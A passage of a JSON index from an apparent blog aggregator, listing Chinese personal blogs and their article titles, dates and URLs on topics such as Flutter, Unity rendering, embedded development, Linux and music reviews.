发行简记","time":"2023-07-29T00:00:00Z","content":"db/2ada4cbaa914871522d6c94f.txt","url":"https://www.superbart.top/p/traintime-pda-v0.1.0-release-note.html"},{"title":"XDU Planet 感想","time":"2023-07-15T00:00:00Z","content":"db/ea52a9c7c32cb04c570cb846.txt","url":"https://www.superbart.top/p/xdu-planet-acquaintance.html"},{"title":"Traintime PDA 架构设计","time":"2023-06-06T00:00:00Z","content":"db/38f5d3cdda3fd83cbea4b8ae.txt","url":"https://www.superbart.top/p/xdyou-sad.html"},{"title":"Flutter 介绍","time":"2023-04-29T00:00:00Z","content":"db/f213f1c81d7f041fb676bc0c.txt","url":"https://www.superbart.top/p/flutter-introduction.html"},{"title":"我在 2022 年学到了什么","time":"2022-12-31T00:00:00Z","content":"db/c7f8c39a88eaa30f9b0a7f6b.txt","url":"https://www.superbart.top/p/goodbye-2022.html"},{"title":"Vala 介绍","time":"2022-12-20T00:00:00Z","content":"db/bc0561205e47b193adeeb89b.txt","url":"https://www.superbart.top/p/vala-introduction.html"},{"title":"如何在网上开自己的电台?","time":"2022-10-19T00:00:00Z","content":"db/d79be6a98a2bcd5d3cfd73f7.txt","url":"https://www.superbart.top/p/how-to-operate-an-internet-radio.html"},{"title":"关于西电一站式服务大厅背后的那点事","time":"2022-08-31T00:00:00Z","content":"db/690c6ecf09b3b09b2041384f.txt","url":"https://www.superbart.top/p/the-things-behind-xidian-e-hall.html"},{"title":"奶油乐队个人回顾","time":"2022-06-12T00:00:00Z","content":"db/9156248dd69c76148bfd26cd.txt","url":"https://www.superbart.top/p/cream-band-review.html"},{"title":"操作系统:线程","time":"2022-04-09T00:00:00Z","content":"db/081071a76fae29622386a893.txt","url":"https://www.superbart.top/p/operating-system-1-thread.html"},{"title":"自己编译 Linux 内核,好像一点用都没有?","time":"2022-02-11T00:00:00Z","content":"db/481c8ca93d287264d9bbd0f2.txt","url":"https://www.superbart.top/p/complie-linux-kernel-is-useless.html"},{"title":"快速逃离Linux指南","time":"2022-01-25T00:00:00Z","content":"db/1f64967248215292f3abbd97.txt","url":"https://www.superbart.top/p/linux-in-quick-run.html"},{"title":"The Embodiment of Scarlet Devil专辑推广材料","time":"2021-11-05T00:00:00Z","content":"db/80909fbe0366063fb270fde7.txt","url":"https://www.superbart.top/p/gensokyo-band-promotion-file.html"},{"title":"Roland SD-35 MIDI 播放器评测","time":"2021-09-05T00:00:00Z","content":"db/fea5987eba924b2300dc15c1.txt","url":"https://www.superbart.top/p/roland-sd-35-midi-player-review.html"},{"title":"Genesis - A Trick of the Tail 听后感","time":"2021-08-15T00:00:00Z","content":"db/eb7504b5eb6e1bf01e1a46ef.txt","url":"https://www.superbart.top/p/a-trick-of-the-tail-review.html"},{"title":"我的字幕授权协议(兼各种我知道的授权协议介绍)","time":"2021-08-02T00:00:00Z","content":"db/45f8bde2ebfd13eb5421712f.txt","url":"https://www.superbart.top/p/my-license-introduction.html"},{"title":"archinstall 初体验 (省流文字版)","time":"2021-05-01T00:00:00Z","content":"db/05886a217e26261b072c5265.txt","url":"https://www.superbart.top/p/experience-of-archinstall.html"},{"title":"King Crimson - Islands 听后感","time":"2021-02-27T00:00:00Z","content":"db/1c32f1d8dd76cf31000e3b0e.txt","url":"https://www.superbart.top/p/islands-review.html"},{"title":"过年了,给大家回复弹幕,然后瞎扯两句","time":"2021-02-12T00:00:00Z","content":"db/dcea218ababc21cc01f0fe49.txt","url":"https://www.superbart.top/p/reading-reviews.html"},{"title":"我的一加8T刷机失败记录","time":"2021-02-03T00:00:00Z","content":"db/4647da6efd4bc1fcc616444b.txt","url":"https://www.superbart.top/p/failure-on-flash-oneplus-8t.html"}]},{"name":"Stalo's Note","email":"Unknown","uri":"https://note.stalomeow.com/","description":"Stalo's notebook.","article":[{"title":"Scene View 无限网格","time":"2024-10-13T14:47:30Z","content":"db/0cc301c9ee089b3cd5f7388a.txt","url":"https://note.stalomeow.com/blog/posts/scene-view-infinite-grid/"},{"title":"Unity SRP 全屏 Blit 原理","time":"2024-10-13T02:36:33Z","content":"db/c3a10a42ef7610beff516cf3.txt","url":"https://note.stalomeow.com/blog/posts/unity-srp-fullscreen-blit/"},{"title":"对逐物体阴影的一些改进","time":"2024-09-23T07:09:35Z","content":"db/4a54a7951b88996ccfaff542.txt","url":"https://note.stalomeow.com/blog/posts/per-object-shadow-improvement/"},{"title":"集成 RenderDoc","time":"2024-08-20T15:53:05Z","content":"db/45d0e1a268b2b59bc7704a1a.txt","url":"https://note.stalomeow.com/blog/posts/renderdoc-integration/"},{"title":"ImGui 适配高 DPI 显示器","time":"2024-07-21T15:42:26Z","content":"db/5d314fae4a98894cd9405157.txt","url":"https://note.stalomeow.com/blog/posts/imgui-handle-high-dpi/"},{"title":"仿星铁渲染:主光源角色阴影","time":"2024-07-11T10:45:29Z","content":"db/1acd5f5729d9919805c52512.txt","url":"https://note.stalomeow.com/blog/posts/toon-main-light-character-shadow/"},{"title":"深度重建世界坐标","time":"2024-07-10T13:52:12Z","content":"db/34fe71fd18cdac7e48231551.txt","url":"https://note.stalomeow.com/blog/posts/depth-reconstruct-world-position/"},{"title":"实信号与复信号的频谱实验","time":"2024-06-17T08:58:05Z","content":"db/2f334a996c8a4f817cd06c03.txt","url":"https://note.stalomeow.com/blog/posts/signal-spectrum-experiment/"},{"title":"Wireshark 抓包 HTTP 实验","time":"2024-06-17T08:36:10Z","content":"db/69e8e2faaffe4ac8c2cf9230.txt","url":"https://note.stalomeow.com/blog/posts/wireshark-capture-http-experiment/"},{"title":"Windows 上用 CapsLock 切换中英文","time":"2024-05-01T13:09:28Z","content":"db/ca8970f8540758a1aef646da.txt","url":"https://note.stalomeow.com/blog/posts/windows-capslock-ime/"},{"title":"后处理 Shader 的 Render State 设置","time":"2024-04-27T14:42:36Z","content":"db/d5f263a14e7ab08a09057209.txt","url":"https://note.stalomeow.com/blog/posts/unity-postprocess-shader-render-state/"},{"title":"Nuxt 3 开发避坑","time":"2024-04-09T07:44:55Z","content":"db/8daa1bb6ff7a778b21435c54.txt","url":"https://note.stalomeow.com/blog/posts/nuxt3-dev-guide/"},{"title":"Allocate RT 时记得指定 filterMode 和 wrapMode","time":"2024-04-03T12:07:07Z","content":"db/a8f21ce9e3c6ce4323343fae.txt","url":"https://note.stalomeow.com/blog/posts/unity-allocate-rt-problem/"},{"title":"用 RenderDoc 持续截帧 Unity Editor Game View","time":"2024-04-02T13:42:47Z","content":"db/226f579060eb40e462dbc917.txt","url":"https://note.stalomeow.com/blog/posts/unity-editor-renderdoc-tool/"},{"title":"青雀进暗杠的抽牌数期望","time":"2024-03-23T14:25:35Z","content":"db/2e92eebccaec2c8509a163e1.txt","url":"https://note.stalomeow.com/blog/posts/exp-val-to-enter-qingque-hidden-hand/"},{"title":"LeetCode 题目描述转 Markdown","time":"2024-03-21T15:04:02Z","content":"db/7a8574f8216b39f196955a53.txt","url":"https://note.stalomeow.com/blog/posts/leetcode-problem-desc-to-markdown/"},{"title":"实现 IJobParallelForAppend","time":"2024-03-16T14:36:06Z","content":"db/77ad56af29c0edc6075c2b27.txt","url":"https://note.stalomeow.com/blog/posts/unity-job-parallel-for-append/"},{"title":"仿星铁渲染:Bloom","time":"2024-03-05T10:19:01Z","content":"db/0e912094ea4ab9a814940d05.txt","url":"https://note.stalomeow.com/blog/posts/toon-bloom/"},{"title":"复刻星穹铁道 2.0 梦境迷钟","time":"2024-02-18T13:55:20Z","content":"db/6dfb70fb35e67ea8f1b1c0c0.txt","url":"https://note.stalomeow.com/blog/posts/unity-hsr-dream-ticker/"},{"title":"Unity 常用 Render State 属性 UI","time":"2024-02-18T06:27:11Z","content":"db/2f6ed4420d7d019731b441ba.txt","url":"https://note.stalomeow.com/blog/posts/unity-render-state-props-ui/"}]},{"name":"王兰花椒粉的秘密小窝","email":"Unknown","uri":"http://wanglanhuajiaofen.fun","description":"","article":[{"title":"基于selenium的刷问卷星脚本","time":"2024-08-13T16:00:00Z","content":"db/f138918235baf32f7abb716e.txt","url":"http://wanglanhuajiaofen.fun/2024/08/14/wjx/"},{"title":"Ubuntu23.10 docker安装与配置","time":"2024-07-26T16:00:00Z","content":"db/622f8acbff0397ea30653ef4.txt","url":"http://wanglanhuajiaofen.fun/2024/07/27/docker/"},{"title":"大二下收官","time":"2024-07-05T16:00:00Z","content":"db/3e6ea572bda89d26aeef1f73.txt","url":"http://wanglanhuajiaofen.fun/2024/07/06/%E5%A4%A7%E4%BA%8C/"},{"title":"Openwrt UnblockNeteaseMusic使用记录","time":"2024-05-02T16:00:00Z","content":"db/532b6a3c5a84a9c84eb0a50e.txt","url":"http://wanglanhuajiaofen.fun/2024/05/03/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BD%AF%E4%BB%B6%E6%8A%98%E8%85%BE/"},{"title":"QAuxiliary安装流程","time":"2024-04-28T16:00:00Z","content":"db/e1b30273cbdb0352fd14c368.txt","url":"http://wanglanhuajiaofen.fun/2024/04/29/QAuxiliary/"},{"title":"selenium报错ValueError","time":"2024-03-23T16:00:00Z","content":"db/dcfd840b433bf56d7ff5f014.txt","url":"http://wanglanhuajiaofen.fun/2024/03/24/selenium/"},{"title":"Ubuntu20.04有线网络消失","time":"2024-03-23T16:00:00Z","content":"db/14ebd771f822cd0de57f95ee.txt","url":"http://wanglanhuajiaofen.fun/2024/03/24/net/"},{"title":"Ubuntu安装+配置clash","time":"2024-02-28T16:00:00Z","content":"db/ac2b4cd50e05eda104201889.txt","url":"http://wanglanhuajiaofen.fun/2024/02/29/clash/"},{"title":"hexo搭建博客bug小结","time":"2024-02-19T16:00:00Z","content":"db/251e768d8800ed2dd104a40c.txt","url":"http://wanglanhuajiaofen.fun/2024/02/20/hexo%E6%90%AD%E5%BB%BA%E5%8D%9A%E5%AE%A2bug%E5%B0%8F%E7%BB%93/"},{"title":"初搭博客","time":"2024-02-18T16:00:00Z","content":"db/3ce43ed474cf66bb039e47aa.txt","url":"http://wanglanhuajiaofen.fun/2024/02/19/%E5%88%9D%E6%90%AD%E5%8D%9A%E5%AE%A2/"}]},{"name":"Ri的手账本","email":"Unknown","uri":"https://raay.xyz","description":"","article":[{"title":"最好的庆功宴","time":"2024-09-12T17:33:07Z","content":"db/b84b7a70e9da2ae371710451.txt","url":"https://raay.xyz/268"},{"title":"眼睛","time":"2024-09-08T05:23:50Z","content":"db/0d3f72cf214ea82c26ea330d.txt","url":"https://raay.xyz/263"},{"title":"如果有你在","time":"2023-12-18T19:13:26Z","content":"db/dcb78f94fbad668a568dd931.txt","url":"https://raay.xyz/247"},{"title":"Spirits","time":"2023-11-07T16:38:23Z","content":"db/bb40d8bb65ef413a7721486d.txt","url":"https://raay.xyz/242"},{"title":"狼与驯化的野性","time":"2023-11-07T16:07:46Z","content":"db/6b9a0f9b9cfb6941fe689796.txt","url":"https://raay.xyz/239"},{"title":"真正的痛苦","time":"2023-07-16T17:50:50Z","content":"db/f049528006850b971a696205.txt","url":"https://raay.xyz/230"},{"title":"今天的天气,知道的?","time":"2023-07-15T18:16:15Z","content":"db/f1ea7ae6b6b2b4090142a3fe.txt","url":"https://raay.xyz/227"},{"title":"好玩的Kalman滤波器(仅样例)","time":"2023-07-14T17:05:02Z","content":"db/6d082a5f3a70a059927d0008.txt","url":"https://raay.xyz/221"},{"title":"好玩的传感器和Arduino开发板","time":"2023-07-13T13:38:09Z","content":"db/e2a9da23e1603b1f3f7228d9.txt","url":"https://raay.xyz/215"},{"title":"剃须与味噌汤","time":"2021-12-02T18:39:16Z","content":"db/e4e56c22c46b88a6e3e5912f.txt","url":"https://raay.xyz/99"}]},{"name":"神社的储物间","email":"","uri":"https://mxts.jiujiuer.xyz/","description":"*节操消失了*","article":[{"title":"龙芯久久派Plus折腾笔记","time":"2024-09-12T07:41:18Z","content":"db/319851376972c1167915c1ee.txt","url":"https://mxts.jiujiuer.xyz/2024/09/12/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E9%BE%99%E8%8A%AF%E4%B9%85%E4%B9%85%E6%B4%BEPlus%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"磁带机入坑小记","time":"2024-07-08T03:39:09Z","content":"db/39164f124569f66818cea288.txt","url":"https://mxts.jiujiuer.xyz/2024/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A1%AC%E4%BB%B6/%E7%A3%81%E5%B8%A6%E6%9C%BA%E5%85%A5%E5%9D%91%E5%B0%8F%E8%AE%B0/"},{"title":"Linux上的ESP32+MicroPython开发手记","time":"2024-07-05T06:03:13Z","content":"db/bd05c28a3d50e5d04f86e302.txt","url":"https://mxts.jiujiuer.xyz/2024/07/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Linux%E4%B8%8A%E7%9A%84ESP32+MicroPython%E5%BC%80%E5%8F%91%E6%89%8B%E8%AE%B0/"},{"title":"OpenWRT折腾笔记","time":"2024-06-30T19:54:58Z","content":"db/d43ba8ddaf416223c9d81755.txt","url":"https://mxts.jiujiuer.xyz/2024/06/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/OpenWRT%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"在Wayland中使用无线副屏","time":"2024-05-04T03:58:02Z","content":"db/37a8997bacbce4e597680452.txt","url":"https://mxts.jiujiuer.xyz/2024/05/04/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%9C%A8Wayland%E4%B8%AD%E4%BD%BF%E7%94%A8%E6%97%A0%E7%BA%BF%E5%89%AF%E5%B1%8F/"},{"title":"搜索引擎学习笔记","time":"2024-04-27T13:12:15Z","content":"db/d7aa82e895787ab6e16e6d28.txt","url":"https://mxts.jiujiuer.xyz/2024/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Emmet学习笔记","time":"2024-04-19T03:42:50Z","content":"db/a51b45dd717c7e721b99c397.txt","url":"https://mxts.jiujiuer.xyz/2024/04/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Emmet%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"开发手记","time":"2024-04-14T07:54:33Z","content":"db/2be80cca5f8b670bacdb56c7.txt","url":"https://mxts.jiujiuer.xyz/2024/04/14/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E6%89%8B%E8%AE%B0/"},{"title":"API压测笔记","time":"2024-03-18T14:41:07Z","content":"db/eb1c8da335ee6eda11636c14.txt","url":"https://mxts.jiujiuer.xyz/2024/03/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/API%E5%8E%8B%E6%B5%8B%E7%AC%94%E8%AE%B0/"},{"title":"编译原理学习笔记","time":"2024-01-26T12:29:40Z","content":"db/add035a545079e032752f6b9.txt","url":"https://mxts.jiujiuer.xyz/2024/01/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/compiler-note/"},{"title":"青岛之行","time":"2024-01-18T05:53:51Z","content":"db/b94bdbf600888c1bf251441e.txt","url":"https://mxts.jiujiuer.xyz/2024/01/18/%E6%96%87%E5%AD%A6/%E6%B8%B8%E8%AE%B0/trip-to-tsingdao/"},{"title":"数据库复习笔记","time":"2024-01-15T11:17:19Z","content":"db/b432b2a6b2b82dbf92278c78.txt","url":"https://mxts.jiujiuer.xyz/2024/01/15/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/db-review/"},{"title":"2023这一年","time":"2023-12-31T12:30:31Z","content":"db/4c4173e600d3b6a2f82d8f77.txt","url":"https://mxts.jiujiuer.xyz/2023/12/31/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/2023%E8%BF%99%E4%B8%80%E5%B9%B4/"},{"title":"函数式编程范式","time":"2023-12-11T14:00:41Z","content":"db/03dd352fe46b9ac8bea06df2.txt","url":"https://mxts.jiujiuer.xyz/2023/12/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/functional-thinking/"},{"title":"winget换源","time":"2023-12-09T12:35:48Z","content":"db/805f31f7371004ae80925c8f.txt","url":"https://mxts.jiujiuer.xyz/2023/12/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/winget/"},{"title":"pandoc初窥","time":"2023-12-09T12:10:50Z","content":"db/9a201960f1c50f35ec0416b5.txt","url":"https://mxts.jiujiuer.xyz/2023/12/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/pandoc_note/"},{"title":"计算机视觉学习笔记","time":"2023-11-06T12:02:29Z","content":"db/64dbb38cbb998f55afb9f435.txt","url":"https://mxts.jiujiuer.xyz/2023/11/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"如何搭建一个本地镜像源","time":"2023-10-16T15:23:51Z","content":"db/7d28fc6054849d35dd1a1aea.txt","url":"https://mxts.jiujiuer.xyz/2023/10/16/setup-local-linux-mirror/"},{"title":"CSDN复制解禁","time":"2023-10-12T06:18:34Z","content":"db/35cb2f09278c0d7d9e1229e5.txt","url":"https://mxts.jiujiuer.xyz/2023/10/12/csdn-copy/"},{"title":"联邦学习的投毒和攻防方法","time":"2023-10-11T10:59:46Z","content":"db/973bd11d6e4a14761119272c.txt","url":"https://mxts.jiujiuer.xyz/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/"},{"title":"Golang代码复用-分页最佳实践","time":"2023-10-07T13:59:46Z","content":"db/2b79612f2008b0e983d32c30.txt","url":"https://mxts.jiujiuer.xyz/2023/10/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Golang%E4%BB%A3%E7%A0%81%E5%A4%8D%E7%94%A8-%E5%88%86%E9%A1%B5%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5/"},{"title":"Docker使用笔记","time":"2023-10-01T09:36:32Z","content":"db/758dbf71642ad2d8d28949a0.txt","url":"https://mxts.jiujiuer.xyz/2023/10/01/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Docker%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/"},{"title":"Vim备忘录","time":"2023-09-29T21:30:53Z","content":"db/1f2db2c785c55ea7e2531211.txt","url":"https://mxts.jiujiuer.xyz/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/"},{"title":"基于Bash的目录级环境配置工具","time":"2023-09-26T15:46:55Z","content":"db/b322b21f41a49a23dd103128.txt","url":"https://mxts.jiujiuer.xyz/2023/09/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/%E5%9F%BA%E4%BA%8EBash%E7%9A%84%E7%9B%AE%E5%BD%95%E7%BA%A7%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%B7%A5%E5%85%B7/"}]},{"name":"NanCunChild的个人随想","email":"Unknown","uri":"https://nancunchild.cn/","description":"","article":[{"title":"名声不重要,用户不重要","time":"2024-09-10T13:17:28Z","content":"db/131381339d668439063a9402.txt","url":"https://nancunchild.cn/2024/09/10/is_ruputation_important/"},{"title":"异梦杂谈(二)","time":"2024-09-09T09:21:21Z","content":"db/6a0b6c949a008b007cd587f0.txt","url":"https://nancunchild.cn/2024/09/09/strange_dream_2/"},{"title":"异梦杂谈(一)","time":"2024-07-22T17:57:41Z","content":"db/0b35e5f1a5f45c35591d6736.txt","url":"https://nancunchild.cn/2024/07/23/strange_dream_1/"},{"title":"玩DDLC有感","time":"2024-07-16T17:12:19Z","content":"db/c726d7a6fe7e3f40d8db78f2.txt","url":"https://nancunchild.cn/2024/07/17/feeling_of_playing_ddlc/"},{"title":"简要说说形式主义“流程”","time":"2024-07-16T16:22:57Z","content":"db/0b231f71290374e8dba5b81c.txt","url":"https://nancunchild.cn/2024/07/17/formalism_and_procedure/"},{"title":"让我们热烈祝贺谢百草的第一篇博客成功发表!","time":"2024-07-11T05:27:23Z","content":"db/02e170d802678960e4131ca0.txt","url":"https://nancunchild.cn/2024/07/11/%e8%ae%a9%e6%88%91%e4%bb%ac%e7%83%ad%e7%83%88%e7%a5%9d%e8%b4%ba%e8%b0%a2%e7%99%be%e8%8d%89%e7%9a%84%e7%ac%ac%e4%b8%80%e7%af%87%e5%8d%9a%e5%ae%a2%e6%88%90%e5%8a%9f%e5%8f%91%e8%a1%a8%ef%bc%81/"},{"title":"撒下种子——我的第一篇博客","time":"2024-07-10T12:36:26Z","content":"db/574587f6c17b799a83c08206.txt","url":"https://nancunchild.cn/2024/07/10/cultivation_first_blog/"}]},{"name":"Hanwan Space","email":"Unknown","uri":"https://hawa130.com/","description":"We are here to put a dent in the universe.","article":[{"title":"All in One 折腾记录","time":"2022-09-24T11:25:00Z","content":"db/69f8ff6f65452ba7960877f1.txt","url":"https://hawa130.com/archives/838/"},{"title":"计组后半部分预习","time":"2022-06-23T13:08:24Z","content":"db/20e7efa804daef817e7d4285.txt","url":"https://hawa130.com/archives/834/"},{"title":"操作系统预习笔记","time":"2022-06-22T09:58:00Z","content":"db/06618ec6bbc2e213d16d79cb.txt","url":"https://hawa130.com/archives/833/"},{"title":"计网期末预习笔记","time":"2022-06-17T13:21:00Z","content":"db/56205191e06e39fcc294ca8a.txt","url":"https://hawa130.com/archives/830/"},{"title":"Qt D-Bus 在 macOS 平台的使用","time":"2022-05-08T12:01:00Z","content":"db/b48a680954386b93b547aa75.txt","url":"https://hawa130.com/archives/823/"},{"title":"Hexo 建站简易教程","time":"2022-04-30T14:45:00Z","content":"db/c86ff6c591f3c4f6de051bee.txt","url":"https://hawa130.com/archives/819/"},{"title":"计组期中复习笔记","time":"2022-04-24T10:48:00Z","content":"db/b0968d02d54cc9e18ae5923a.txt","url":"https://hawa130.com/archives/796/"},{"title":"从零开始的 SwiftUI 之旅","time":"2022-04-02T15:52:00Z","content":"db/ecde53aae3d92ac5b1b8b3c4.txt","url":"https://hawa130.com/archives/789/"},{"title":"STL 使用指南 — 丰富实用的容器","time":"2022-02-22T08:42:00Z","content":"db/71bc77951414c1dcf54a074c.txt","url":"https://hawa130.com/archives/763/"},{"title":"STL 入门指南 — 数据结构作业\u0026amp;考试利器","time":"2022-02-19T15:37:00Z","content":"db/36cefe1082bac62bd4617146.txt","url":"https://hawa130.com/archives/751/"}]},{"name":"孤筝の温暖小家","email":"Unknown","uri":"https://guzhengsvt.top/","description":"孤筝的互联网自留地。","article":[{"title":"晋南行五首","time":"2024-10-08T07:47:00Z","content":"db/726c2f789a0603746d3af958.txt","url":"https://guzhengsvt.top/index.php/archives/Traveling-in-Jinnan.html"},{"title":"中秋,给家人打个电话吧","time":"2024-09-15T14:35:00Z","content":"db/de7c292cecc871604ecf0609.txt","url":"https://guzhengsvt.top/index.php/archives/It-s-Mid-Autumn-Festival-call-your-family.html"},{"title":"概率论与数理统计","time":"2024-09-09T17:14:00Z","content":"db/1eccd259a7c05fe1366fe29e.txt","url":"https://guzhengsvt.top/index.php/archives/Probability-and-Statistics.html"},{"title":"凭栏静听潇潇雨,故国人民有所思。","time":"2024-09-09T09:54:00Z","content":"db/1f98a384c3dfbe36163864b8.txt","url":"https://guzhengsvt.top/index.php/archives/Remembering-Chairman-Mao.html"},{"title":"Windows美化历程","time":"2024-09-07T13:12:00Z","content":"db/dcd1745375a9efd4b4229543.txt","url":"https://guzhengsvt.top/index.php/archives/Windows-Beautification-History.html"},{"title":"数字信号处理(持续更新)","time":"2024-09-04T15:44:00Z","content":"db/d915d04a9db1173e4c587c38.txt","url":"https://guzhengsvt.top/index.php/archives/digital-signal-processing.html"},{"title":"空气动力学基础(持续更新)","time":"2024-09-02T14:13:00Z","content":"db/deccbe59c9ce14f4a73144f1.txt","url":"https://guzhengsvt.top/index.php/archives/Fundamentals-of-aerodynamics.html"},{"title":"《黑神话:悟空》游玩体验(无透)","time":"2024-08-20T13:51:00Z","content":"db/97f5e9d456c35db22d6d1ea5.txt","url":"https://guzhengsvt.top/index.php/archives/WuKong.html"},{"title":"日寄其一","time":"2024-08-03T16:02:00Z","content":"db/d0474c253e0fe9907578075a.txt","url":"https://guzhengsvt.top/index.php/archives/diary1.html"},{"title":"大二下学期总结","time":"2024-06-26T17:14:00Z","content":"db/c380473313a16fec82e5aa77.txt","url":"https://guzhengsvt.top/index.php/archives/Summary-of-the-second-semester-of-the-sophomore-year.html"}]},{"name":"康师傅","email":"","uri":"https://blog.ksfu.top/","description":"太菜了","article":[{"title":"TeX Live 2023安装\u0026VSCode环境配置记录","time":"2023-11-22T15:00:39Z","content":"db/208a9611f387bc750f2e0389.txt","url":"https://blog.ksfu.top/posts/8e96/"},{"title":"合宙Air601连接阿里云物联网平台-MQTT协议学习","time":"2023-07-22T12:31:10Z","content":"db/55179397a90b380ce890cbed.txt","url":"https://blog.ksfu.top/posts/47a8/"},{"title":"STM32使用硬件IIC驱动SHT30温湿度传感器","time":"2023-07-13T16:37:34Z","content":"db/17ad306154ea2ce4caa4f677.txt","url":"https://blog.ksfu.top/posts/6c49/"},{"title":"STM32温湿度测量与显示-单总线协议学习","time":"2023-05-18T15:55:06Z","content":"db/5a1c341b5afd232f6020411f.txt","url":"https://blog.ksfu.top/posts/e0ca/"},{"title":"6063/6064 公益慢火车运转","time":"2023-04-05T15:19:17Z","content":"db/2c75d927c507fdd3f2c3fbaa.txt","url":"https://blog.ksfu.top/posts/54cd/"},{"title":"Hexo 注入器实践","time":"2023-04-04T20:39:00Z","content":"db/27119410a513a6ec6090ae62.txt","url":"https://blog.ksfu.top/posts/5eba/"},{"title":"【有方杯总结】一个物联网小项目","time":"2023-04-04T19:31:50Z","content":"db/d3cc0c00bb4c3e80b0855df6.txt","url":"https://blog.ksfu.top/posts/1b10/"},{"title":"2022 年终\u0026期末总结","time":"2023-01-03T08:53:20Z","content":"db/6ad21c0d0a6427b00e802f18.txt","url":"https://blog.ksfu.top/posts/3ff3/"},{"title":"基于FPGA的ASK信号生成及测量分析技术-西电通院随机信号实验","time":"2022-11-04T19:55:20Z","content":"db/966d06c48594cd6afee1d06d.txt","url":"https://blog.ksfu.top/posts/5f6b/"},{"title":"批量转换文件编码gb2312转utf-8","time":"2022-08-10T09:32:11Z","content":"db/cf25495b617c0c7d53fd5291.txt","url":"https://blog.ksfu.top/posts/2d8a/"},{"title":"STM32使用SysTick定时器延时","time":"2022-07-27T18:42:15Z","content":"db/b71897ce0ac561c47ea2fac4.txt","url":"https://blog.ksfu.top/posts/463a/"},{"title":"使用FRP和OpenVPN实现校园网内网穿透","time":"2022-05-11T16:52:34Z","content":"db/7568589fde9c8c35798a9720.txt","url":"https://blog.ksfu.top/posts/24b6/"},{"title":"【fpga4fun】Music box","time":"2022-05-08T17:12:44Z","content":"db/8c7faf76ebf80a4e1aa8206c.txt","url":"https://blog.ksfu.top/posts/f804/"},{"title":"STM32\u0026UART串口通信(使用CubeMX)","time":"2022-05-08T14:54:19Z","content":"db/315053853d71d01eb3dc4673.txt","url":"https://blog.ksfu.top/posts/b619/"},{"title":"CubeMX初配置PWM\u0026驱动MG995舵机","time":"2022-05-02T12:32:45Z","content":"db/599083244920613c2de54596.txt","url":"https://blog.ksfu.top/posts/cac5/"},{"title":"D2550刷64位BIOS记录","time":"2022-05-01T17:20:28Z","content":"db/0b710c7161b0053b65e1757e.txt","url":"https://blog.ksfu.top/posts/1eaf/"},{"title":"2021_Summary","time":"2021-12-31T06:53:41Z","content":"db/c04c32d9afabc3944552acde.txt","url":"https://blog.ksfu.top/2021-Summary/"},{"title":"Deepin新增分辨率","time":"2021-10-09T14:04:03Z","content":"db/7fcae8d4658df7e6104e8f99.txt","url":"https://blog.ksfu.top/posts/b368/"},{"title":"MoeCTF 2021 